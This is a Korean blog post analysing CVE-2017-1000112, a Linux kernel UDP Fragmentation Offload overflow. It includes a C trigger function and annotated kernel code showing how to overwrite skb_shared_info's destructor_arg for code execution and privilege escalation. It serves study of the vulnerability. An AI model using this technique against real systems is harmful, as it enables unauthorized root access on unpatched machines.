CVE-2017-1000112

```c
void oob_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);

int s = socket(PF_INET, SOCK_DGRAM, 0);
connect(s, (void*)&addr, sizeof(addr))
/* #1 */
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
int rv = send(s, buffer, size, MSG_MORE);
/* #2 */
int val = 1;
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
/* #3 */
send(s, buffer, 1, 0);

close(s);
}
```
UFO packet을 만들어 전송할 때 첫 번째 ``c send()``는 UFO 일 때 타는 path를 실행하도록 하고 두 번째 ``c send()``는  non-UFO일 때 타는 path(fragmentation)를 실행하도록 구성하면 overflow가 발생할 수 있으며,
이는 write out-of-bounds → memory corruption → escalate privilege로 이어질 수 있다.


socket buffer(`` skb``) 아래에는 `` skb_shared_info`` 구조체가 위치해 있는데, 이 구조체의 `` destructor_arg``를 overwrite해서 `` skb``가 소멸될 때 임의의 코드가 실행되도록 구성한다.

#1 UFO path

``c send(MSG_MORE)`` → ``c __ip_append_data()``에서 ``c ip_ufo_append_data()``를 호출해 새로운 socket buffer(`` skb``)를 생성한다.
user data가 fragment로 복사, `` skb_shared_info``구조체가 업데이트되고 `` sbk``가 queue에 들어간다.
```c
    ...
    cork->length += length;
    if ((skb && skb_is_gso(skb)) ||
        (((length + (skb ? skb->len : fragheaderlen)) > mtu) &&
        (skb_queue_len(queue) <= 1) &&
        (sk->sk_protocol == IPPROTO_UDP) &&
        (rt->dst.dev->features & NETIF_F_UFO) && !dst_xfrm(&rt->dst) &&
        (sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx)) {    // #2
        // #1 create new socket buffer
        err = ip_ufo_append_data(sk, queue, getfrag, from, length,
                     hh_len, fragheaderlen, transhdrlen,
                     maxfraglen, flags);
        if (err)
            goto error;
        return 0;
    }
```

#2

``c setsockopt( , SO_NO_CHECK, )``를 설정하면 ``c sk->sk_no_check_tx``가 set된다.
두 번째 ``c send()``가 #1 path(UFO path)를 타지 않도록 하기 위해 설정해준다.

#3 non-UFO path

``c send()`` → ``c __ip_append_data()``에서 non-UFO path를 타게 된다.
``c while``문 첫 번째 반복에서 `` copy``가 음수가 되면서 `` alloc_new_skb`` 부분을 실행해 새로운 `` skb``를 할당하게 된다.
그리고 `` fraggap``이 MTU를 넘어가면서 fragmentation을 유발하게 되는데, 여기서 `` skb_prev``의 payload를 새로 할당한 `` sbk``로 복사하는 과정이 일어난다.
이 때 payload length가 새로 할당된 `` skb->end``를 초과하는 경우 overflow가 발생하게 된다.
```c
    if (!skb)
        goto alloc_new_skb;

    while (length > 0) {
        /* Check if the remaining data fits into current packet. */
        copy = mtu - skb->len;
        if (copy < length)
            copy = maxfraglen - skb->len;    // can be negative
        if (copy <= 0) {
            char *data;
            unsigned int datalen;
            unsigned int fraglen;
            unsigned int fraggap;
            unsigned int alloclen;
            struct sk_buff *skb_prev;
alloc_new_skb:
            skb_prev = skb;
            if (skb_prev)
                fraggap = skb_prev->len - maxfraglen;    // can exceed MTU
            ............
            if (fraggap) {
/* copying payload from skb_prev to new skb(data) and OVERFLOW */
                skb->csum = skb_copy_and_csum_bits(
                    skb_prev, maxfraglen,
                    data + transhdrlen, fraggap, 0);
            ............
            copy = datalen - transhdrlen - fraggap;    // can be neagtive
```

constraint

  • UFO enabled interface가 필요하다. `` lo`` interface는 UFO가 기본으로 활성화 되어 있기 때문에 이를 사용한다.
  • `` NETIF_F_UFO`` interface feature를 비활성화 하거나, `` SO_NO_CHECK`` socket option을 설정할 수 있어야 한다.


참고



UFO, UDP Fragmentation Offload

UFO는 Linux kernel network stack에 있는 기능으로, 이름 그대로 UDP Fragmentation 기능을 제거해 패킷을 분할하지 않는 것을 의미한다. 해서, 완전한 UDP datagram을 포함하는 단일 패킷을 생성해 전송하게 된다.

large UDP datagram을 MTU sized packet으로 fragmentation하면서 발생하는 overhead를 줄이기 위해 사용된다..


MSG_MORE

추가적으로 전송해야 하는 데이터가 있음을 의미한다. 따라서 ``c send()/sendto()/sendmsg()``에 `` MSG_MORE``를 지정하는 경우 데이터를 전송하지 않고  있다가 한 번에 전송한다.
UDP의 경우, ``c send(s, buf, len, MSG_MORE)`` 요청이 들어오면 전송하지 않고 single datagram에 데이터를 모아두었다가 `` MSG_MORE``가 지정되지 않은 첫 번째 ``c send()``에서 이를 전송한다. 따라서 이 패킷은 UFO packet이 될 수 있다.
TCP의 경우, partial frame을 바로 전송하지 않고 queue에 저장해 두었다가, 이를 한꺼번에 전송한다. UDP와 달리 200ms가 되면 queued data가 자동으로 전송된다.

TCP_CORK / UDP_CORK

CORK : 코르크
`` MSG_MORE``과 비슷하지만, `` *_CORK``는 socket option이라 각각의 ``c send()``에 지정하는게 아니라 ``c setsockopt()``로 활성화하면 지속 적용되고, 다시 비활성화 할 때 패킷 전송이 일어난다.


'OS > Kernel' 카테고리의 다른 글

파이프라이닝과 해저드  (0) 2018.06.20
Meltdown 정리  (0) 2018.05.26
[kernel] current 구조체 / cred 수정  (0) 2017.10.22
[kernel] hook sys_call_table  (0) 2017.10.20
[kernel] get sys_call_table  (0) 2017.10.16